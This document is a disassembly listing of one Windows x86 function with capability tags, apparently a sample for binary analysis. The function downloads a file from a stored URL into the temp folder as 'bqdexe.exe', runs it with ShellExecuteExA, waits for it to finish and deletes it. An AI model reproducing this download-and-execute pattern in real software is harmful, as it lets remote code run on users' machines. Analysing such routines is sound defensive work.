Function at 0x10004c80
Capabilities:
Check if file exists
Create process on windows
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x10016050]
xor eax, ebp
mov dword [ebp - 0x50], eax
push edi
mov dword [ebp - 0x160], ecx
mov eax, dword [ebp - 0x160]
add eax, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, dword [ebp - 0x160]
mov byte [ecx + 8], 1
mov byte [ebp - 0x158], 0
push 0x103
push 0
lea edx, [ebp - 0x157]
push edx
call fcn.10009770
add esp, 0xc
mov dword [ebp - 0x44], 0x104
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x44], eax
lea edx, [ebp - 0x158]
add edx, 0xffffffff
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x164]
mov cl, byte [eax + 1]
mov byte [ebp - 0x165], cl
add dword [ebp - 0x164], 1
cmp byte [ebp - 0x165], 0
jne 0x10004d03
mov edi, dword [ebp - 0x164]
mov edx, dword [str.bqdexe.exe]
mov dword [edi], edx
mov eax, dword [0x10013f9c]
mov dword [edi + 4], eax
mov cx, word [0x10013fa0]
mov word [edi + 8], cx
mov dl, byte [0x10013fa2]
mov byte [edi + 0xa], dl
mov eax, 1
test eax, eax
je 0x10004daf
lea ecx, [ebp - 0x158]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10004dab
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jne 0x10004d7d
jmp 0x10004daf
mov edx, dword [ebp - 0x44]
mov byte [ebp + edx - 0x158], 0
call fcn.100075c1
push eax
lea eax, [ebp - 0x158]
push eax
push str._sbqdexe_d.exe
lea ecx, [ebp - 0x158]
push ecx
call fcn.100070ae
add esp, 0x10
jmp 0x10004dad
jmp 0x10004daf
jmp 0x10004d4c
mov edx, dword [ebp - 0x160]
mov eax, dword [edx + 4]
add eax, 0x209
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x160]
mov eax, dword [edx + 4]
add eax, 0x209
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jge 0x10004df8
jmp 0x10004f03
lea ecx, [ebp - 0x158]
push ecx
mov ecx, dword [ebp - 0x160]
call fcn.10005880
movzx edx, al
test edx, edx
jne 0x10004e1b
jmp 0x10004f03
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.10009770
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x10013c86
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], 0
mov ecx, 0x10018598
call fcn.10006170
movzx edx, al
test edx, edx
je 0x10004e94
mov dword [ebp - 0x30], 0x10013fb4
jmp 0x10004e9b
mov dword [ebp - 0x30], 0x10013c87
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x10004ead
jmp 0x10004f03
mov ecx, dword [ebp - 0x160]
mov edx, dword [ecx + 4]
movzx eax, byte [edx]
test eax, eax
jne 0x10004ec1
jmp 0x10004f03
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x40], 0
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x158]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x160]
mov byte [eax + 9], 1
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x160]
mov byte [ecx + 8], 0
mov edx, dword [ebp - 0x160]
add edx, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov ecx, dword [ebp - 0x50]
xor ecx, ebp
call fcn.100068dd
mov esp, ebp
pop ebp
ret